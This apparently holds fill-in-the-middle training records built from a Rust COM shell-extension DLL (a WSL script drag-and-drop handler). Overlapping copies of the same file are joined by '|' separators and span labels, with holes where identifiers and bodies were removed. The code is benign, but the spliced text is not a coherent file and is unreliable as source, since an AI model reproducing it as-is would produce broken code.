match wslscript_common::registry::add_server_to_registry(&path) {
Ok(_) => (),
Err(e) => {
log::error!("Failed to register server: {}", e);
return winerror::E_UNEXPECTED;
}
}
winerror::S_OK
}
/// Remove in-process server keys from registry.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/olectl/nf-olectl-dllunregisterserver
#[no_mangle]
extern "system" fn DllUnregisterServer() -> HRESULT {
match wslscript_common::registry::remove_server_from_registry() {
Ok(_) => (),
Err(e) => {
log::error!("Failed to unregister server: {}", e);
return winerror::E_UNEXPECTED;
}
}
winerror::S_OK
}
/// Convert Win32 GUID pointer to Guid struct.
const fn guid_from_ref(clsid: *const guiddef::GUID) -> Guid {
Guid {
0: unsafe { *clsid },
}
}
/// Get path to loaded DLL file.
fn get_module_path(hinstance: win::HINSTANCE) -> Result<PathBuf, Error> {
use std::ffi::OsString;
use std::os::windows::ffi::OsStringExt;
use winapi::shared::ntdef;
use winapi::um::libloaderapi::GetModuleFileNameW as GetModuleFileName;
let mut buf: Vec<ntdef::WCHAR> = Vec::with_capacity(win::MAX_PATH);
let len = unsafe { GetModuleFileName(hinstance, buf.as_mut_ptr(), buf.capacity() as _) };
if len == 0 {
return Err(wslscript_common::win32::last_error());
}
unsafe { buf.set_len(len as _) };
Ok(PathBuf::from(OsString::from_wide(&buf)))
}
bitflags::bitflags! {
/// Key state flags.
#[derive(Debug)]
pub struct KeyState: win::DWORD {
const MK_CONTROL = winuser::MK_CONTROL as win::DWORD;
const MK_SHIFT = winuser::MK_SHIFT as win::DWORD;
const MK_ALT = oleidl::MK_ALT as win::DWORD;
const MK_LBUTTON = winuser::MK_LBUTTON as win::DWORD;
const MK_MBUTTON = winuser::MK_MBUTTON as win::DWORD;
const MK_RBUTTON = winuser::MK_RBUTTON as win::DWORD;
}
}
// COM interface declarations.
//
// Note that methods must be in exact order!
//
// See https://www.magnumdb.com/ for interface GUID's.
// See https://docs.microsoft.com/en-us/windows/win32/shell/handlers for
// required interfaces.
com::interfaces! {
// NOTE: class! macro generates IClassFactory interface automatically,
// so we must directly inherit from IUnknown.
#[uuid("81521ebe-a2d4-450b-9bf8-5c23ed8730d0")]
pub unsafe interface IHandler : com::interfaces::IUnknown {}
#[uuid("0000010b-0000-0000-c000-000000000046")]
pub unsafe interface IPersistFile : IPersist {
fn IsDirty(&self) -> HRESULT;
fn Load(
&self,
pszFileName: wtypesbase::LPCOLESTR,
dwMode: win::DWORD,
) -> HRESULT;
fn Save(
&self,
pszFileName: wtypesbase::LPCOLESTR,
fRemember: win::BOOL,
) -> HRESULT;
fn SaveCompleted(
&self,
pszFileName: wtypesbase::LPCOLESTR,
) -> HRESULT;
fn GetCurFile(
&self,
ppszFileName: *mut wtypesbase::LPOLESTR,
) -> HRESULT;
}
#[uuid("0000010c-0000-0000-c000-000000000046")]
pub unsafe interface IPersist : com::interfaces::IUnknown {
fn GetClassID(
&self,
pClassID: *mut guiddef::CLSID,
) -> HRESULT;
}
#[uuid("00000122-0000-0000-c000-000000000046")]
pub unsafe interface IDropTarget: com::interfaces::IUnknown {
fn DragEnter(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
fn DragOver(
&self,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
fn DragLeave(&self) -> HRESULT;
fn Drop(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
}
}
com::class! {
pub class Handler: IHandler, IPersistFile(IPersist), IDropTarget {
// File that is receiving the drop.
target: RefCell<PathBuf>
}
impl IHandler for Handler {
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ipersistfile
impl IPersistFile for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-isdirty
fn IsDirty(&self) -> HRESULT {
log::debug!("IPersistFile::IsDirty");
winerror::S_FALSE
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-load
fn Load(
&self,
pszFileName: wtypesbase::LPCOLESTR,
_dwMode: win::DWORD,
) -> HRESULT {
// path to the file that is being dragged over, ie. the registered script file
let filename = unsafe { WideCStr::from_ptr_str(pszFileName) };
let path = PathBuf::from(filename.to_os_string());
log::debug!("IPersistFile::Load {}", path.to_string_lossy());
if let Ok(mut target) = self.target.try_borrow_mut() {
*target = path;
} else {
return winerror::E_FAIL;
}
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-save
fn Save(
&self,
_pszFileName: wtypesbase::LPCOLESTR,
_fRemember: win::BOOL,
) -> HRESULT {
log::debug!("IPersistFile::Save");
winerror::S_FALSE
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-savecompleted
fn SaveCompleted(
&self,
_pszFileName: wtypesbase::LPCOLESTR,
) -> HRESULT {
log::debug!("IPersistFile::SaveCompleted");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-getcurfile
fn GetCurFile(
&self,
_ppszFileName: *mut wtypesbase::LPOLESTR,
) -> HRESULT {
log::debug!("IPersistFile::GetCurFile");
winerror::E_FAIL
}
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ipersist
impl IPersist for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersist-getclassid
fn GetClassID(
&self,
pClassID: *mut guiddef::CLSID,
) -> HRESULT {
log::debug!("IPersist::GetClassID");
let guid = wslscript_common::DROP_HANDLER_CLSID.0;
unsafe { *pClassID = guid }
winerror::S_OK
}
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nn-oleidl-idroptarget
impl IDropTarget for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragenter
fn DragEnter(
&self,
_pDataObj: *const objidl::IDataObject,
_grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
_pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::DragEnter");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragover
fn DragOver(
&self,
_grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
_pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::DragOver");
log::debug!("Keys {:?}", KeyState::from_bits_truncate(_grfKeyState));
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragleave
fn DragLeave(&self) -> HRESULT {
log::debug!("IDropTarget::DragLeave");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-drop
fn Drop(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::Drop");
let target = if let Ok(target) = self.target.try_borrow() {
target.clone()
} else {
return winerror::E_UNEXPECTED;
};
let obj = unsafe { &*pDataObj };
let keys = KeyState::from_bits_truncate(grfKeyState);
super::handle_dropped_files(&target, obj, keys).and_then(|_| {
unsafe { *pdwEffect = oleidl::DROPEFFECT_COPY; }
Ok(winerror::S_OK)
}).unwrap_or_else(|e| {
log::debug!("Drop failed: {}", e);
winerror::E_UNEXPECTED
})
}
}
}
| {
log::warn!("Unsupported class: {}", class_guid);
} | conditional_block |
interface.rs | //! All the nitty gritty details regarding COM interface for the shell extension
//! are defined here.
//!
//! See: https://docs.microsoft.com/en-us/windows/win32/shell/handlers#implementing-shell-extension-handlers
use com::sys::HRESULT;
use guid_win::Guid;
use once_cell::sync::Lazy;
use std::cell::RefCell;
use std::path::PathBuf;
use std::str::FromStr;
use std::sync::atomic::{AtomicUsize, Ordering};
use widestring::WideCStr;
use winapi::shared::guiddef;
use winapi::shared::minwindef as win;
use winapi::shared::windef;
use winapi::shared::winerror;
use winapi::shared::wtypesbase;
use winapi::um::objidl;
use winapi::um::oleidl;
use winapi::um::winnt;
use winapi::um::winuser;
use wslscript_common::error::*;
use crate::progress::ProgressWindow;
/// IClassFactory GUID.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory
///
/// Windows requests this interface via `DllGetClassObject` to further query
/// relevant COM interfaces. _com-rs_ crate implements IClassFactory automatically
/// for all interfaces (?), so we don't need to worry about details.
static CLASS_FACTORY_CLSID: Lazy<Guid> =
Lazy::new(|| Guid::from_str("00000001-0000-0000-c000-000000000046").unwrap());
/// Semaphore to keep track of running WSL threads.
///
/// DLL shall not be released if there are threads running.
pub(crate) static THREAD_COUNTER: AtomicUsize = AtomicUsize::new(0);
/// Handle to loaded DLL module.
static mut DLL_HANDLE: win::HINSTANCE = std::ptr::null_mut();
/// DLL module entry point.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain
#[no_mangle]
extern "system" fn DllMain(
hinstance: win::HINSTANCE,
reason: win::DWORD,
_reserved: win::LPVOID,
) -> win::BOOL {
match reason {
winnt::DLL_PROCESS_ATTACH => {
// store module instance to global variable
unsafe { DLL_HANDLE = hinstance };
// set up logging
#[cfg(feature = "debug")]
if let Ok(mut path) = get_module_path(hinstance) {
let stem = path.file_stem().map_or_else(
|| "debug.log".to_string(),
|s| s.to_string_lossy().into_owned(),
);
path.pop();
path.push(format!("{}.log", stem));
if simple_logging::log_to_file(&path, log::LevelFilter::Debug).is_err() {
unsafe {
use winapi::um::winuser::*;
let text = wslscript_common::wcstring(format!(
"Failed to set up logging to {}",
path.to_string_lossy()
));
MessageBoxW(
std::ptr::null_mut(),
text.as_ptr(),
wchar::wchz!("Error").as_ptr(),
MB_OK | MB_ICONERROR | MB_SERVICE_NOTIFICATION,
);
}
}
}
log::debug!("DLL_PROCESS_ATTACH");
return win::TRUE;
}
winnt::DLL_PROCESS_DETACH => {
log::debug!("DLL_PROCESS_DETACH");
ProgressWindow::unregister_window_class();
}
winnt::DLL_THREAD_ATTACH => {}
winnt::DLL_THREAD_DETACH => {}
_ => {}
}
win::FALSE
}
/// Called to check whether DLL can be unloaded from memory.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllcanunloadnow
#[no_mangle]
extern "system" fn DllCanUnloadNow() -> HRESULT {
let n = THREAD_COUNTER.load(Ordering::SeqCst);
if n > 0 {
log::info!("{} WSL threads running, denying DLL unload", n);
winerror::S_FALSE
} else {
log::info!("Permitting DLL unload");
winerror::S_OK
}
}
/// Exposes class factory.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject
#[no_mangle]
extern "system" fn DllGetClassObject(
class_id: guiddef::REFCLSID,
iid: guiddef::REFIID,
result: *mut win::LPVOID,
) -> HRESULT {
let class_guid = guid_from_ref(class_id);
let interface_guid = guid_from_ref(iid);
// expect our registered class ID
if wslscript_common::DROP_HANDLER_CLSID.eq(&class_guid) {
// expect IClassFactory interface to be requested
if !CLASS_FACTORY_CLSID.eq(&interface_guid) {
log::warn!("Expected IClassFactory, got {}", interface_guid);
}
use com::production::Class as COMClass;
let cls = <Handler as COMClass>::Factory::allocate();
let rv = unsafe { cls.QueryInterface(iid as _, result as _) };
log::debug!(
"QueryInterface for {} returned {}, address={:p}",
interface_guid,
rv,
result
);
return rv;
} else {
log::warn!("Unsupported class: {}", class_guid);
}
winerror::CLASS_E_CLASSNOTAVAILABLE
}
/// Add in-process server keys into registry.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/olectl/nf-olectl-dllregisterserver
#[no_mangle]
extern "system" fn DllRegisterServer() -> HRESULT {
let hinstance = unsafe { DLL_HANDLE };
let path = match get_module_path(hinstance) {
Ok(p) => p,
Err(_) => return winerror::E_UNEXPECTED,
};
log::debug!("DllRegisterServer for {}", path.to_string_lossy());
match wslscript_common::registry::add_server_to_registry(&path) {
Ok(_) => (),
Err(e) => {
log::error!("Failed to register server: {}", e);
return winerror::E_UNEXPECTED;
}
}
winerror::S_OK
}
/// Remove in-process server keys from registry.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/olectl/nf-olectl-dllunregisterserver
#[no_mangle]
extern "system" fn DllUnregisterServer() -> HRESULT |
/// Convert Win32 GUID pointer to Guid struct.
const fn guid_from_ref(clsid: *const guiddef::GUID) -> Guid {
Guid {
0: unsafe { *clsid },
}
}
/// Get path to loaded DLL file.
fn get_module_path(hinstance: win::HINSTANCE) -> Result<PathBuf, Error> {
use std::ffi::OsString;
use std::os::windows::ffi::OsStringExt;
use winapi::shared::ntdef;
use winapi::um::libloaderapi::GetModuleFileNameW as GetModuleFileName;
let mut buf: Vec<ntdef::WCHAR> = Vec::with_capacity(win::MAX_PATH);
let len = unsafe { GetModuleFileName(hinstance, buf.as_mut_ptr(), buf.capacity() as _) };
if len == 0 {
return Err(wslscript_common::win32::last_error());
}
unsafe { buf.set_len(len as _) };
Ok(PathBuf::from(OsString::from_wide(&buf)))
}
bitflags::bitflags! {
/// Key state flags.
#[derive(Debug)]
pub struct KeyState: win::DWORD {
const MK_CONTROL = winuser::MK_CONTROL as win::DWORD;
const MK_SHIFT = winuser::MK_SHIFT as win::DWORD;
const MK_ALT = oleidl::MK_ALT as win::DWORD;
const MK_LBUTTON = winuser::MK_LBUTTON as win::DWORD;
const MK_MBUTTON = winuser::MK_MBUTTON as win::DWORD;
const MK_RBUTTON = winuser::MK_RBUTTON as win::DWORD;
}
}
// COM interface declarations.
//
// Note that methods must be in exact order!
//
// See https://www.magnumdb.com/ for interface GUID's.
// See https://docs.microsoft.com/en-us/windows/win32/shell/handlers for
// required interfaces.
com::interfaces! {
// NOTE: class! macro generates IClassFactory interface automatically,
// so we must directly inherit from IUnknown.
#[uuid("81521ebe-a2d4-450b-9bf8-5c23ed8730d0")]
pub unsafe interface IHandler : com::interfaces::IUnknown {}
#[uuid("0000010b-0000-0000-c000-000000000046")]
pub unsafe interface IPersistFile : IPersist {
fn IsDirty(&self) -> HRESULT;
fn Load(
&self,
pszFileName: wtypesbase::LPCOLESTR,
dwMode: win::DWORD,
) -> HRESULT;
fn Save(
&self,
pszFileName: wtypesbase::LPCOLESTR,
fRemember: win::BOOL,
) -> HRESULT;
fn SaveCompleted(
&self,
pszFileName: wtypesbase::LPCOLESTR,
) -> HRESULT;
fn GetCurFile(
&self,
ppszFileName: *mut wtypesbase::LPOLESTR,
) -> HRESULT;
}
#[uuid("0000010c-0000-0000-c000-000000000046")]
pub unsafe interface IPersist : com::interfaces::IUnknown {
fn GetClassID(
&self,
pClassID: *mut guiddef::CLSID,
) -> HRESULT;
}
#[uuid("00000122-0000-0000-c000-000000000046")]
pub unsafe interface IDropTarget: com::interfaces::IUnknown {
fn DragEnter(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
fn DragOver(
&self,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
fn DragLeave(&self) -> HRESULT;
fn Drop(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
}
}
com::class! {
pub class Handler: IHandler, IPersistFile(IPersist), IDropTarget {
// File that is receiving the drop.
target: RefCell<PathBuf>
}
impl IHandler for Handler {
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ipersistfile
impl IPersistFile for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-isdirty
fn IsDirty(&self) -> HRESULT {
log::debug!("IPersistFile::IsDirty");
winerror::S_FALSE
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-load
fn Load(
&self,
pszFileName: wtypesbase::LPCOLESTR,
_dwMode: win::DWORD,
) -> HRESULT {
// path to the file that is being dragged over, ie. the registered script file
let filename = unsafe { WideCStr::from_ptr_str(pszFileName) };
let path = PathBuf::from(filename.to_os_string());
log::debug!("IPersistFile::Load {}", path.to_string_lossy());
if let Ok(mut target) = self.target.try_borrow_mut() {
*target = path;
} else {
return winerror::E_FAIL;
}
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-save
fn Save(
&self,
_pszFileName: wtypesbase::LPCOLESTR,
_fRemember: win::BOOL,
) -> HRESULT {
log::debug!("IPersistFile::Save");
winerror::S_FALSE
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-savecompleted
fn SaveCompleted(
&self,
_pszFileName: wtypesbase::LPCOLESTR,
) -> HRESULT {
log::debug!("IPersistFile::SaveCompleted");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-getcurfile
fn GetCurFile(
&self,
_ppszFileName: *mut wtypesbase::LPOLESTR,
) -> HRESULT {
log::debug!("IPersistFile::GetCurFile");
winerror::E_FAIL
}
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ipersist
impl IPersist for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersist-getclassid
fn GetClassID(
&self,
pClassID: *mut guiddef::CLSID,
) -> HRESULT {
log::debug!("IPersist::GetClassID");
let guid = wslscript_common::DROP_HANDLER_CLSID.0;
unsafe { *pClassID = guid }
winerror::S_OK
}
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nn-oleidl-idroptarget
impl IDropTarget for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragenter
fn DragEnter(
&self,
_pDataObj: *const objidl::IDataObject,
_grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
_pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::DragEnter");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragover
fn DragOver(
&self,
_grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
_pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::DragOver");
log::debug!("Keys {:?}", KeyState::from_bits_truncate(_grfKeyState));
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-dragleave
fn DragLeave(&self) -> HRESULT {
log::debug!("IDropTarget::DragLeave");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/oleidl/nf-oleidl-idroptarget-drop
fn Drop(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
_pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT {
log::debug!("IDropTarget::Drop");
let target = if let Ok(target) = self.target.try_borrow() {
target.clone()
} else {
return winerror::E_UNEXPECTED;
};
let obj = unsafe { &*pDataObj };
let keys = KeyState::from_bits_truncate(grfKeyState);
super::handle_dropped_files(&target, obj, keys).and_then(|_| {
unsafe { *pdwEffect = oleidl::DROPEFFECT_COPY; }
Ok(winerror::S_OK)
}).unwrap_or_else(|e| {
log::debug!("Drop failed: {}", e);
winerror::E_UNEXPECTED
})
}
}
}
| {
match wslscript_common::registry::remove_server_from_registry() {
Ok(_) => (),
Err(e) => {
log::error!("Failed to unregister server: {}", e);
return winerror::E_UNEXPECTED;
}
}
winerror::S_OK
} | identifier_body |
interface.rs | //! All the nitty gritty details regarding COM interface for the shell extension
//! are defined here.
//!
//! See: https://docs.microsoft.com/en-us/windows/win32/shell/handlers#implementing-shell-extension-handlers
use com::sys::HRESULT;
use guid_win::Guid;
use once_cell::sync::Lazy;
use std::cell::RefCell;
use std::path::PathBuf;
use std::str::FromStr;
use std::sync::atomic::{AtomicUsize, Ordering};
use widestring::WideCStr;
use winapi::shared::guiddef;
use winapi::shared::minwindef as win;
use winapi::shared::windef;
use winapi::shared::winerror;
use winapi::shared::wtypesbase;
use winapi::um::objidl;
use winapi::um::oleidl;
use winapi::um::winnt;
use winapi::um::winuser;
use wslscript_common::error::*;
use crate::progress::ProgressWindow;
/// IClassFactory GUID.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory
///
/// Windows requests this interface via `DllGetClassObject` to further query
/// relevant COM interfaces. _com-rs_ crate implements IClassFactory automatically
/// for all interfaces (?), so we don't need to worry about details.
static CLASS_FACTORY_CLSID: Lazy<Guid> =
Lazy::new(|| Guid::from_str("00000001-0000-0000-c000-000000000046").unwrap());
/// Semaphore to keep track of running WSL threads.
///
/// DLL shall not be released if there are threads running.
pub(crate) static THREAD_COUNTER: AtomicUsize = AtomicUsize::new(0);
/// Handle to loaded DLL module.
static mut DLL_HANDLE: win::HINSTANCE = std::ptr::null_mut();
/// DLL module entry point.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/dlls/dllmain
#[no_mangle]
extern "system" fn DllMain(
hinstance: win::HINSTANCE,
reason: win::DWORD,
_reserved: win::LPVOID,
) -> win::BOOL {
match reason {
winnt::DLL_PROCESS_ATTACH => {
// store module instance to global variable
unsafe { DLL_HANDLE = hinstance };
// set up logging
#[cfg(feature = "debug")]
if let Ok(mut path) = get_module_path(hinstance) {
let stem = path.file_stem().map_or_else(
|| "debug.log".to_string(),
|s| s.to_string_lossy().into_owned(),
);
path.pop();
path.push(format!("{}.log", stem));
if simple_logging::log_to_file(&path, log::LevelFilter::Debug).is_err() {
unsafe {
use winapi::um::winuser::*;
let text = wslscript_common::wcstring(format!(
"Failed to set up logging to {}",
path.to_string_lossy()
));
MessageBoxW(
std::ptr::null_mut(),
text.as_ptr(),
wchar::wchz!("Error").as_ptr(),
MB_OK | MB_ICONERROR | MB_SERVICE_NOTIFICATION,
);
}
}
}
log::debug!("DLL_PROCESS_ATTACH");
return win::TRUE;
}
winnt::DLL_PROCESS_DETACH => {
log::debug!("DLL_PROCESS_DETACH");
ProgressWindow::unregister_window_class();
}
winnt::DLL_THREAD_ATTACH => {}
winnt::DLL_THREAD_DETACH => {}
_ => {}
}
win::FALSE
}
/// Called to check whether DLL can be unloaded from memory.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllcanunloadnow
#[no_mangle]
extern "system" fn DllCanUnloadNow() -> HRESULT {
let n = THREAD_COUNTER.load(Ordering::SeqCst);
if n > 0 {
log::info!("{} WSL threads running, denying DLL unload", n);
winerror::S_FALSE
} else {
log::info!("Permitting DLL unload");
winerror::S_OK
}
}
/// Exposes class factory.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject
#[no_mangle]
extern "system" fn DllGetClassObject(
class_id: guiddef::REFCLSID,
iid: guiddef::REFIID,
result: *mut win::LPVOID,
) -> HRESULT {
let class_guid = guid_from_ref(class_id);
let interface_guid = guid_from_ref(iid);
// expect our registered class ID
if wslscript_common::DROP_HANDLER_CLSID.eq(&class_guid) {
// expect IClassFactory interface to be requested
if !CLASS_FACTORY_CLSID.eq(&interface_guid) {
log::warn!("Expected IClassFactory, got {}", interface_guid);
}
use com::production::Class as COMClass;
let cls = <Handler as COMClass>::Factory::allocate();
let rv = unsafe { cls.QueryInterface(iid as _, result as _) };
log::debug!(
"QueryInterface for {} returned {}, address={:p}",
interface_guid,
rv,
result
);
return rv;
} else {
log::warn!("Unsupported class: {}", class_guid);
}
winerror::CLASS_E_CLASSNOTAVAILABLE
}
/// Add in-process server keys into registry.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/olectl/nf-olectl-dllregisterserver
#[no_mangle]
extern "system" fn | () -> HRESULT {
let hinstance = unsafe { DLL_HANDLE };
let path = match get_module_path(hinstance) {
Ok(p) => p,
Err(_) => return winerror::E_UNEXPECTED,
};
log::debug!("DllRegisterServer for {}", path.to_string_lossy());
match wslscript_common::registry::add_server_to_registry(&path) {
Ok(_) => (),
Err(e) => {
log::error!("Failed to register server: {}", e);
return winerror::E_UNEXPECTED;
}
}
winerror::S_OK
}
/// Remove in-process server keys from registry.
///
/// See: https://docs.microsoft.com/en-us/windows/win32/api/olectl/nf-olectl-dllunregisterserver
#[no_mangle]
extern "system" fn DllUnregisterServer() -> HRESULT {
match wslscript_common::registry::remove_server_from_registry() {
Ok(_) => (),
Err(e) => {
log::error!("Failed to unregister server: {}", e);
return winerror::E_UNEXPECTED;
}
}
winerror::S_OK
}
/// Convert Win32 GUID pointer to Guid struct.
const fn guid_from_ref(clsid: *const guiddef::GUID) -> Guid {
Guid {
0: unsafe { *clsid },
}
}
/// Get path to loaded DLL file.
fn get_module_path(hinstance: win::HINSTANCE) -> Result<PathBuf, Error> {
use std::ffi::OsString;
use std::os::windows::ffi::OsStringExt;
use winapi::shared::ntdef;
use winapi::um::libloaderapi::GetModuleFileNameW as GetModuleFileName;
let mut buf: Vec<ntdef::WCHAR> = Vec::with_capacity(win::MAX_PATH);
let len = unsafe { GetModuleFileName(hinstance, buf.as_mut_ptr(), buf.capacity() as _) };
if len == 0 {
return Err(wslscript_common::win32::last_error());
}
unsafe { buf.set_len(len as _) };
Ok(PathBuf::from(OsString::from_wide(&buf)))
}
bitflags::bitflags! {
/// Key state flags.
#[derive(Debug)]
pub struct KeyState: win::DWORD {
const MK_CONTROL = winuser::MK_CONTROL as win::DWORD;
const MK_SHIFT = winuser::MK_SHIFT as win::DWORD;
const MK_ALT = oleidl::MK_ALT as win::DWORD;
const MK_LBUTTON = winuser::MK_LBUTTON as win::DWORD;
const MK_MBUTTON = winuser::MK_MBUTTON as win::DWORD;
const MK_RBUTTON = winuser::MK_RBUTTON as win::DWORD;
}
}
// COM interface declarations.
//
// Note that methods must be in exact order!
//
// See https://www.magnumdb.com/ for interface GUID's.
// See https://docs.microsoft.com/en-us/windows/win32/shell/handlers for
// required interfaces.
com::interfaces! {
// NOTE: class! macro generates IClassFactory interface automatically,
// so we must directly inherit from IUnknown.
#[uuid("81521ebe-a2d4-450b-9bf8-5c23ed8730d0")]
pub unsafe interface IHandler : com::interfaces::IUnknown {}
#[uuid("0000010b-0000-0000-c000-000000000046")]
pub unsafe interface IPersistFile : IPersist {
fn IsDirty(&self) -> HRESULT;
fn Load(
&self,
pszFileName: wtypesbase::LPCOLESTR,
dwMode: win::DWORD,
) -> HRESULT;
fn Save(
&self,
pszFileName: wtypesbase::LPCOLESTR,
fRemember: win::BOOL,
) -> HRESULT;
fn SaveCompleted(
&self,
pszFileName: wtypesbase::LPCOLESTR,
) -> HRESULT;
fn GetCurFile(
&self,
ppszFileName: *mut wtypesbase::LPOLESTR,
) -> HRESULT;
}
#[uuid("0000010c-0000-0000-c000-000000000046")]
pub unsafe interface IPersist : com::interfaces::IUnknown {
fn GetClassID(
&self,
pClassID: *mut guiddef::CLSID,
) -> HRESULT;
}
#[uuid("00000122-0000-0000-c000-000000000046")]
pub unsafe interface IDropTarget: com::interfaces::IUnknown {
fn DragEnter(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
fn DragOver(
&self,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
fn DragLeave(&self) -> HRESULT;
fn Drop(
&self,
pDataObj: *const objidl::IDataObject,
grfKeyState: win::DWORD,
pt: *const windef::POINTL,
pdwEffect: *mut win::DWORD,
) -> HRESULT;
}
}
com::class! {
pub class Handler: IHandler, IPersistFile(IPersist), IDropTarget {
// File that is receiving the drop.
target: RefCell<PathBuf>
}
impl IHandler for Handler {
}
// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ipersistfile
impl IPersistFile for Handler {
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-isdirty
fn IsDirty(&self) -> HRESULT {
log::debug!("IPersistFile::IsDirty");
winerror::S_FALSE
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-load
fn Load(
&self,
pszFileName: wtypesbase::LPCOLESTR,
_dwMode: win::DWORD,
) -> HRESULT {
// path to the file that is being dragged over, ie. the registered script file
let filename = unsafe { WideCStr::from_ptr_str(pszFileName) };
let path = PathBuf::from(filename.to_os_string());
log::debug!("IPersistFile::Load {}", path.to_string_lossy());
if let Ok(mut target) = self.target.try_borrow_mut() {
*target = path;
} else {
return winerror::E_FAIL;
}
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-save
fn Save(
&self,
_pszFileName: wtypesbase::LPCOLESTR,
_fRemember: win::BOOL,
) -> HRESULT {
log::debug!("IPersistFile::Save");
winerror::S_FALSE
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-savecompleted
fn SaveCompleted(
&self,
_pszFileName: wtypesbase::LPCOLESTR,
) -> HRESULT {
log::debug!("IPersistFile::SaveCompleted");
winerror::S_OK
}
/// See: https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ipersistfile-getcurfile
fn GetCurFile(
&self,
_ppszFileName: *mut wtypesbase::LPOLESTR,
) -> HRESULT {
log::debug!("IPersistFile::GetCurFile");
